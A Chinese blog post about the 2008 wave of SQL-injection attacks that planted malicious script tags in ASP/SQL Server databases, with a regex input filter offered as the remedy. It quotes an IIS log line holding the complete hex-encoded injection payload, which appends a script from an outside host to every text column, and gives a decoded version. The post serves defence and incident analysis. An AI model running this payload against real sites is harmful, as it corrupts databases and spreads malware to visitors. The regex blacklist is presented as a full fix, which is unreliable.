最近流行的数据库挂马的解决方法

  
前段时间,公司一个主要的">网站数据库中个别表的数据经常被修改并挂马,由
于网站是以前别人做的,代码有点乱,所以只看了与这几个表相关的文件代码。原因可能是接收参数的时候没有过滤危险字符,于是就加上了接受参数的格式化函数,数据库连接文件中也把接受参数时出现的“;”替换成“;”了。
但是过了一天,又被挂马,分号替换没有起到作用。

  于是搜索了一下,发现从3月份开始很多数据库SQL注入挂马的例子,看来这段时间这种挂马手段很流行,并且只是针对Asp+Sql Server的网站,只有你网站代码存在SQL注入的漏洞,就可能会被挂马,而且只针对文本型的字段char/text类似的字段,修改之后的数据后面基本上都是js,1.js,b.js等,而且
里面的网址经常改变。

  无奈,只能先找
防止SQL注入的方法,在网上搜索到以下代码,把该代码加到数据库连接文件中:

<%

Response.Buffer = True

Const EnableStopInjection = True

If EnableStopInjection = True Then

    If Request.QueryString <> "" Then Call StopInjection(Request.QueryString)

    If Request.Cookies <> "" Then Call StopInjection(Request.
Cookies)

    If Request.Form <> "" Then Call StopInjection(Request.Form)

End If

Sub StopInjection(Values)

Dim regEx

Set regEx = New RegExp

    regEx.IgnoreCase = True

    regEx.Global = True

    regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)"

    Dim sItem, sValue

    For Each sItem In Values

        sValue = Values(sItem)

        If regEx.Test(sValue) Then

            Response.Write "检测到SQL注入危险, 请确认你提交的信息。"

            Response.End

        End If

    Next

    Set regEx = Nothing

End Sub

%>

  注意:regEx.Pattern中的值根据你的需要设置,如设置不当,则一般提交的信息也会提示有SQL注入。

  加上这段代码之后就再也没有出现被注入挂马的现象。

  前
几天,从空间商那要IIS日志,查看日志才发现被SQL注入的具体网址与方法,如下:

2008-06-23 16:01:31 GET /xxx.asp id=90;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- - 201.8.166.17 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - www.xxx.com 200 0 271 1432 406

  中间那段代码解密之后就是:

DECLARE @T varchar(255),

@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

Select

a.name,b.name

from sysobjects a,

syscolumns b

where a.id=b.id and

a.xtype=’u’ and

(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN

exec(’update [’+@T+’] set [’+@C+’]=

rtrim(convert(varchar,[’+@C+’]))+

”挂马内容”’)

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

  并且,这个SQL注入隔几分钟一次,而且不停地更换IP,根本就无法查到它的真实来源,可见这种人多么卑鄙。

  如果网站IIS日志比较大,则可以考虑chxwei前几天写的“IIS网站日志导入分析工具”帮你查询分析。

  最后总结一下,如果数据库数据库被修改并挂马:

  1、先看IIS日志,被注入的页面是哪些,
然后修改那些页面的代码,防止SQL注入。

  2、如果没有IIS日志,也找不到被利用的页面,那就使用上面说的在数据库连接文件中加入那些代码。

  出现SQL注入,
肯定是网站代码存在漏洞,所以代码规范化才是
重点。

  来源:http://www.chxwei.com/article.asp?id=359

时间: 2024-12-31 06:41:53

最近流行的数据库挂马的解决方法的相关文章

数据库被挂马的解决方法

据库被挂马我相信很多人都碰到过.在这里,我讲下我处理的方法.第一步:为现有数据库做好备份.第二步:执行如下ASP文件,这样就可以去掉数据库当中的JS木马:注:conn.asp自己去写了. 代码: '这里放入JS木马内容:请记得改为自己数据库中的JS木马内容.<!--#include file="conn.asp"--><%Server.ScriptTimeOut=180Set rstSchema = conn.OpenSchema(20)k=1Do Until rst

最近比较流行的数据库挂马_漏洞研究

SQL语句如下: 用游标遍历所有表里如下数据类型的字段,然后UPDATE挂马.(全部是允许写入字符的字段) xtype=99 ntext xtype=35 text xtype=231 nvarchar xtype=167 varchar -------YD的分割----------– DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR Select a.name,b.name from sysobje

织梦DedeCMS系统挂马全面解决方法

织梦内容管理系统(DedeCMS),是一个集内容发布.编辑.管理检索等于一体的网站管理系统(Web CMS),他拥有国外CMS众多特点之外,还结合中国用户的需要,对内容管理系统概念进行明确分析和定位. 作为国内第一个开源的内容管理系统,DedeCMS在创建以来都在摸索中国互联网内容管理系统的道路,并且引领众多开源CMS前进的道路,程序由当年个人作品,现已组件团队,在提升用户服务.提高产品质量的同事,对中国网站内容管理系统进行研究,成为目前市场上最受欢迎的内容管理系统. dedecms用户是不是都

数据库中的内容字段被挂马的替换方法 SQL注入_MsSql

清除了sqlsever中的一些挂马字段,现在总结sqlsever批量替换数据库挂马字段一文,希望可以帮助有需要的人. [处理方法] 1.先备份数据,防止删除挂马字段的时候,丢失数据: 2.对挂马的表中的字段text小于8000执行以下语句(网上的很多软件与方法都是针对text小于8000的,这个解决方法你可以参考) 代码如下: 如表news 字段context 挂马字段是 <Script Src=http://c.n%75clear3.com/css/c.js></Script>

网站被黑挂马如何解决

1. 简单挂马 首页被挂马,登录网站后,杀毒软件报警,检查后,发现首页index.asp检查,底部出现,清理掉后,页面即正常,这种挂马主要以直接修改首页文件为主,容易发现和清理. 2. 网页后门挂马 登录网站任何页面都出现杀毒报警,按之前的方法查看index.asp,并且去掉了iframe语句.但却发现问题依然存在,于是查看其他文件才发现,所有文件全部加上了挂马语句,即使恢复了首页,但用户访问其他页面的时候依然会蹦出病毒提示.采用备份文件覆盖恢复,重装操作系统等方法都实验以后,隔天后可能再出现被

数据库中的内容字段被挂马的替换方法 SQL注入

清除了sqlsever中的一些挂马字段,现在总结sqlsever批量替换数据库挂马字段一文,希望可以帮助有需要的人. [处理方法] 1.先备份数据,防止删除挂马字段的时候,丢失数据: 2.对挂马的表中的字段text小于8000执行以下语句(网上的很多软件与方法都是针对text小于8000的,这个解决方法你可以参考) 代码如下: 如表news 字段context 挂马字段是 <Script Src=http://c.n%75clear3.com/css/c.js></Script>

实例讲解MySQL数据库中文问题的解决方法

MySQL数据库中文问题的解决方法: 1.my.ini MySQL配置文件设置 [client] default-character-set=gbk [mysqld] default-character-set=gbk 2.启动MySQL服务创建你的数据库 3.验证当前编码 命令行输入: mysql -u root -p 登录你建立的数据库 >connect yourdatabasename 输入数据库状态命令 >status 假如结果如下: Server characterset: gbk

批量替换sqlserver数据库挂马字段并防范sql注入攻击的代码

首先备份数据库,以防不必要的损失.而后对所有被挂马的小于8000字符的varchar字段执行 复制代码 代码如下: update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') 其中<Script Src=http://c.n%75clear3.com/css/c.js></Script>为挂马字段.执行后挂马字段被清除.但是有部分字段,比

BBSXP数据库挂马的操作

  BBSXP的绝大多数的版本都有漏洞,很多漏洞只需利用一个随处可见的工具即可轻取管理员凭搪.假设,现在我们已经得到了一个BBSXP论坛的管理员凭据,现在,我们希望在这个论坛中进行挂马,方法有很多种.下面的橾作谨供参考. 首先,使用获得的管理员凭搪完成论坛的前台登录. 接着,在完成登录后单击右上南的"管理"链接,准备后台登录. 在出现登录界面时,在"管理员"和"管理密码"栏中输入后台登录的凭据.因为我们是在本机中测试,所以,前.后台的登录凭搪都是